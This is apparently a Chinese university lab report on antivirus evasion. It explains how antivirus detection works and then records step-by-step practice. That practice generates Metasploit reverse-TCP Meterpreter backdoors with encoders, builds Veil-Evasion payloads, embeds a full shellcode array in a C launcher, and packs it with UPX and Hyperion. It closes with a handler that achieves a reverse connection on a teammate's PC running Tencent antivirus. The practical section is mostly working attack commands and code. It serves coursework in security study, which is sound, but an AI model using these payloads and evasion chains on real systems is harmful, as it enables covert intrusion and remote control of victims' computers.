• 20181330 王茜《网络对抗技术》Exp3 免杀原理


    1.基础问题回答

    1.1 杀软是如何检测出恶意代码的?

    杀软检测恶意代码有三种方法:
    1.基于特征码的检测

    杀软是通过样子识别的。

    在每个杀软中都存在一个储存特征码的库,而能识别出来的恶意代码都会有这样的一段或者多段代码,它可以唯一的标识这个恶意代码,并且其他的文件里是没有的,这样的一段或者多段代码被称为特征码。

    例如在Windows的防火墙扫描的时候,发现要写入磁盘的代码段和特征码库中的一个或多个相同,就会识别出恶意代码。

    所以,杀软需要及时更新这个特征码库,否则只能识别很老的恶意代码,也就没有什么用了。

    当然,每个杀软的特征码库一般是保密的,这是竞争力所在,网络上很难找到特征码库。但是,可以使用Snort进行检测,这是一个开源的入侵检测平台。

    • 基于特征码检测的优点是:精确地识别恶意代码。
    • 基于特征码检测的缺点是:滞后性。不能检测0-day恶意软件,可能会对造成一些危害。0-day恶意软件是还未被发现的漏洞,它可以进行任何攻击行为。

    2.启发式恶意软件检测

    杀软是通过样子+行为识别的。

    相比于特征码检测,启发式恶意软件检测是一种比较模糊的检测方法,没有特征码检测那么精确。

    启发式恶意软件检测是通过片面特征推断是否是恶意代码。

    可以通过他的样子判断,例如文件的签名、结构、厂商信息等,是否有异常信息。比如一般Windows平台下编写的软件是使用Visual Studio,mac下编写软件使用的是XCode,如果出现使用Linux下编写的软件就要注意是不是恶意代码了。

    也可以通过他的行为来判断,看他是否有那些恶意代码的典型行为。例如这个程序有没有连接恶意软件?开放端口?修改系统文件?反弹连接等等……

    • 缺点是:
      • 与特征码检测比起来,不够精确
      • 由于实时监控系统行为,开销较大
    • 优点是:
      • 可以检测特征码无法检测的0-day恶意软件
      • 具有一定通用性

    3.基于行为的检测

    杀软是通过行为识别的,只关心他干了什么事。

    是指通用的、多特征的、非精确的扫描。

    1.2 免杀是做什么?

    一般40%-98%的恶意软件会被杀软检测出来,杀软无法检测出所有的恶意软件。免杀就是通过一些方式例如软件加壳、加密、重新编译等等,让杀软无法检测出来恶意软件。

    1.3 免杀的基本方法有哪些?

    基本方法有两大类:

    1.改变特征码(改变样子)

    • 如果只有exe文件:可以进行加壳——包括压缩壳、加密壳等
    • 如果还有shellcode(如Meterpreter):
      • 可以使用encode进行编码,改变他原本的特征码
      • 基于payload重新编译生成可执行文件。例如上次Exp2中重新写入另一个可执行文件,这样就不会有本身的特征,而会变得更像另一个文件
    • 如果还有源代码:
      • 可以使用其他语言重写再编译。例如python是一种跨平台的语言,可以进行重写然后编译,特征码会改变。

    从上到下的三种方法,越往下有的东西越多就越好做。

    2.改变行为

    • 通讯方式
      • 尽量使用反弹式连接,让被攻击机连接攻击机。这是现成的组件,实践中可以直接选择。
      • 使用隧道技术,这个一般没有现成的组件。
      • 加密通讯数据,杀软无法解密,也就无法检测了。这个也可以直接调用现成组件。
    • 操作模式
      • 基于内存操作。一般要写入硬盘的东西都需要检测。
      • 减少对系统的修改。
      • 加入混淆作用的正常功能代码。

    2.实践总结与体会

    上次实验我们虽然实现了很多功能,例如抓取截屏啊、录音啊这些,但都是在关闭杀软的情况下实现了,也不太符合现实情况。现实中被攻击的计算机不可能没有任何防护措施。

    而这次实验中,我们体会到了一些实现免杀的方法,最后实现的时候觉得很惊喜,但是又很担忧。

    我们只学了这么一点方法就能实现免杀,虽然是一段很简单的代码,那些黑客们想要入侵我们的计算机那不是易如反掌吗?

    平时在使用计算机的时候一定要安全地使用才行。

    3.开启杀软能绝对防止电脑中恶意代码吗?

    不能。即使是最好的杀软,最多也只能检测出98%的恶意软件。

    4.实践过程记录

    4.1 先来试试一些能实现免杀的简单方法

    4.1.1 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件

    Step1:免杀检测。

    首先我们来检测一下实验二中生成的后门程序,使用VirusTotal或者Virscan进行扫描。

    扫描结果如下:

    可见,在VirusTotal网站上扫描的结果是:70款杀软中有52个都可以检测出来。

    Virscan网站上的扫描结果是,50款杀软中有23个都可以检测出来。

    可见,如果不对后门程序做任何处理,大多数的杀毒软件都是可以检测出来的。

    那么我们接下来尝试对实验二生成的后门程序进行处理,再来看看杀软的检测的结果。

    Step2:正确使用msf编码器,生成exe文件。

    首先尝试进行一次编码,看看会不会少几个软件检测出来。

    输入 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b 'x00' LHOST=192.168.62.16 LPORT=1330 -f exe > 20181330-msf1.exe 使用msf编码器生成exe文件。

    命令分析:

    • -p:针对平台,该命令中选择的是Windows平台下的meterpreter组件,reverse_tcp连接方式
    • -e:选择编码器

    • -b:badchar,选择payload中需要去除的字符,这次我们去掉'x00'

    • -f:生成文件格式

    可以根据具体需要修改参数。

    此时我们再在VirusTotalVirscan检测一下生成的文件。

    可见,在VirusTotal网站上,70个杀毒软件中仍然是52个可以检测出来。

    所以一次编码没有什么用。

    那要是进行多次编码呢?是不是特征码就会改变呢?我们来尝试一下。

    输入 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b 'x00' LHOST=192.168.62.16 LPORT=1330 -f exe > 20181330-msf2.exe 生成新的exe文件

    命令分析:

    • -i:增加了-i命令,这是迭代次数,我们选择迭代10次

    我们再使用VirusTotal网站检测一下,结果如下:

    经过10次迭代以后,居然在70个杀毒软件中有53个可以检测出来,比之前还多了一个!

    可见,迭代的方法已经无法避免被检测出来。这是因为msfvenom生成的exe文件是由固定的模板的,很多AV也会根据这个特点进行查杀。

    接下来我们生成其他文件类型试试。

    Step3:正确使用msf编码器,生成jar文件。

    输入 msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.62.18 LPORT=1330 x > 20181330-msf3.jar 使用msf编码器生成jar文件。

    这时我们仍然使用VirusTotal网站进行检测,结果如下:

    生成jar文件之后,在61个杀软中只有36个可以检测出来,有一点效果了。

    Step4:正确使用msf编码器,生成php文件

    输入 msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.62.18 LPORT=1330 x> 20181330-msf4.php 使用msf编码器生成php文件。

    使用VirusTotal网站检测,结果如下:

    生成phd文件之后,在58个杀软中只有20个可以检测出来,效果比刚刚好一点了。

    所以生成的文件不同,检测的结果也是不一样的~

    虽然说效果好一点,但是生成的后门程序还是会被很多杀软检测出来,所以我们使用veil加壳工具尝试,看一看效果。

    4.1.2 veil,加壳工具

    Step1:安装veil

    这一步会很漫长,也会有很多错误,请耐心~

    首先输入以下命令,进行安装的准备工作:

    1 sudo apt-get -y install git
    2 sudo apt-get install libncurses5* 
    3 sudo apt-get install libavutil55* 
    4 sudo apt-get install gcc-mingw-w64* 
    5 sudo apt-get install wine32 
    6 sudo apt-get update

    在这里我出现了wine32安装失败的问题

    解决方法:输入以下命令即可:

    1 mkdir -p ~/.cache/wine
    2 cd ~/.cache/wine 
    3 wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
    4 wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi

    接着输入 sudo apt-get install veil-evasion 进行安装

    输入 veil 安装

    这里我出错了很多次

    尝试了使用 sudo apt-get purge veil 命令卸载重装

    也尝试了从网上直接下载veil源代码

    都没成功

    最后的解决方法:使用手机热点。之前的错误是因为WiFi太慢,无法git pull,会出现网络错误。换了网之后很快就会安装成功,一路点击 next 即可,

    最后执行命令 /usr/share/veil/config/setup.sh --force --silent 自动修复错误

    如下图:

    Step2: 使用veil-evasion生成后门程序

    • 输入命令 use evasion 进入Evil-Evasion

    • 输入命令 use c/meterpreter/rev_tcp.py 进入配置界面

    • 输入命令 set LHOST 192.168.91.133 设置反弹连接IP,此处ip为Linux ip
    • 输入命令 set LPORT 1330 设置端口
    • 输入命令 options 查看配置

    • 输入命令 generate 生成文件
    • 接着输入文件名称为 veil-20181330.exe 

    输出结果显示,文件 veil-20181330.exe 的保存路径为 /var/lib/veil/output/compiled/veil-20181330.exe 

    Step3:VirusTotal检测

     

    42个AV中有17个能识别,还是挺多的。

    4.1.3 使用C + shellcode编程

    Step1:生成shellcode

    输入命令 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.91.133 LPORT=1330 -f c 生成一段C编写的shellcode,如下图:

    输入命令 vi 20181330shellcode.c 新建文件,输入代码如下:

    unsigned char buf[] = 
    "xfcxe8x8fx00x00x00x60x31xd2x89xe5x64x8bx52x30"
    "x8bx52x0cx8bx52x14x31xffx8bx72x28x0fxb7x4ax26"
    "x31xc0xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7x49"
    "x75xefx52x8bx52x10x57x8bx42x3cx01xd0x8bx40x78"
    "x85xc0x74x4cx01xd0x8bx58x20x50x8bx48x18x01xd3"
    "x85xc9x74x3cx31xffx49x8bx34x8bx01xd6x31xc0xc1"
    "xcfx0dxacx01xc7x38xe0x75xf4x03x7dxf8x3bx7dx24"
    "x75xe0x58x8bx58x24x01xd3x66x8bx0cx4bx8bx58x1c"
    "x01xd3x8bx04x8bx01xd0x89x44x24x24x5bx5bx61x59"
    "x5ax51xffxe0x58x5fx5ax8bx12xe9x80xffxffxffx5d"
    "x68x33x32x00x00x68x77x73x32x5fx54x68x4cx77x26"
    "x07x89xe8xffxd0xb8x90x01x00x00x29xc4x54x50x68"
    "x29x80x6bx00xffxd5x6ax0ax68xc0xa8x5bx85x68x02"
    "x00x05x32x89xe6x50x50x50x50x40x50x40x50x68xea"
    "x0fxdfxe0xffxd5x97x6ax10x56x57x68x99xa5x74x61"
    "xffxd5x85xc0x74x0axffx4ex08x75xecxe8x67x00x00"
    "x00x6ax00x6ax04x56x57x68x02xd9xc8x5fxffxd5x83"
    "xf8x00x7ex36x8bx36x6ax40x68x00x10x00x00x56x6a"
    "x00x68x58xa4x53xe5xffxd5x93x53x6ax00x56x53x57"
    "x68x02xd9xc8x5fxffxd5x83xf8x00x7dx28x58x68x00"
    "x40x00x00x6ax00x50x68x0bx2fx0fx30xffxd5x57x68"
    "x75x6ex4dx61xffxd5x5ex5exffx0cx24x0fx85x70xff"
    "xffxffxe9x9bxffxffxffx01xc3x29xc6x75xc1xc3xbb"
    "xf0xb5xa2x56x6ax00x53xffxd5";
    int main()
    {
        int (*func)() = (int(*)())buf;
        func();
    }

    输入命令 i686-w64-mingw32-g++ 20181330shellcode.c -o 20181330shellcode.exe 编译.c文件为可执行文件

    Step2:VirusTotal检测

    69个杀软中有36个都可以检测出来,效果不是很好。

    4.1.4 尝试加壳

    Step1:试试压缩壳

    压缩壳的作用是减少应用体积

    输入命令 upx 20181330shellcode.exe -o 20181330shellcode1.exe 

    目的是给原先的 20181330shellcode.exe 文件压缩加壳,重新生成文件 20181330shellcode1.exe 

    使用VirusTotal检测检测如下:

    Step2:再试试加密壳

     加密壳的作用是版权保护,反跟踪。

    如果AV无法识别加密的内容,自然也就无法通过特征码这类方法判断恶意代码。

    我们来尝试一下直接将刚刚压缩后的文件套上加密壳试试吧。

    • 首先将Step1中生成的文件拷贝到 /usr/share/windows-binaries/hyperion/ 中
    • 然后进入目录 /usr/share/windows-binaries/hyperion/ 
    • 接着输入命令 wine hyperion.exe -v 20181330shellcode1.exe 20181330shellcode2.exe 
    • 这时我出现错误:

    仔细看看这个错误,提示我没有hyperion.exe文件了

    让我们来看看

    确实没有

    后来查了很久,没有找到hyperion.exe文件,采用的解决办法:在Kali中使用mingw-w64编译Hyperion

    按部就班地照着做就好了,没有难点

    • 解决了问题之后呢,我们再次把文件拷贝过来运行就好了

    可以看到已经有hyperion.exe文件,重新输入!

    加壳成功!传过来试试吧

    啊哦,被发现了!

    这是因为加密会导致熵过大,也就是信息过于密集,很容易被AV识别。

    要改进的话,可以在每个字节后门加上一个空字节,减小熵,让相应的解密程序忽略掉这个空字节就好了。但是实现起来难度太大。

    4.2 通过组合应用各种技术实现恶意代码免杀(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)

    这里我使用了msf,但是突然崩溃无法运行了,做个实验真的好多坎坷/(ㄒoㄒ)/~~

    报错如下:

    解决办法:Kali(2020.4版本)遇到的metasploit启动崩溃问题,里面有原因解释和方法,在这里就不赘述了

    好了,现在可以接着做实验了~

    原理:

    • 利用msf生成一段shellcode
    • 新建.c文件,将shellcode写入并生成可执行文件
    • 加壳加壳加壳:加上压缩壳~
    • 再加上加密壳~
    • 再压缩一遍
    • 成功实现

    结果:

    4.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

     组员的电脑使用的杀软是腾讯管家,版本是V13.6

    电脑版本是Windows10

    和4.2步骤相同,这次我们来试一试生成raw文件吧

    • 输入命令 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b 'x00' lhost=本机ip lport=1330 -f raw -o 20181330.raw 生成raw文件
    • 这时候我会报错,问题是没有权限,加上sudo重新执行即可

    • 需要在对方计算机上下载shellcode_launcher
    • 然后在对方的电脑上输入  shellcode_launcher.exe -i 20181330.raw 运行生成的文件

    杀软没有发现

    • 在自己的电脑上依次输入:
    msfconsole
    use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 192.168.91.133 //此处为kali端ip地址 exploit

    之后成功实现回连!

  • 相关阅读:
    selector 使用说明
    volley用法之 以post方式发送 json 参数
    linux系统下使用流行的版本管理工具 Git
    Android BLE 蓝牙编程(四)
    Android BLE 蓝牙编程(三)
    Android BLE 蓝牙编程(二)
    Android BLE 蓝牙编程(一)
    php比较两个字符串是否相同
    下拉刷新
    理财小工具(二)贷款计算器
  • 原文地址:https://www.cnblogs.com/wangqianhey/p/14615150.html
Copyright © 2020-2023  润新知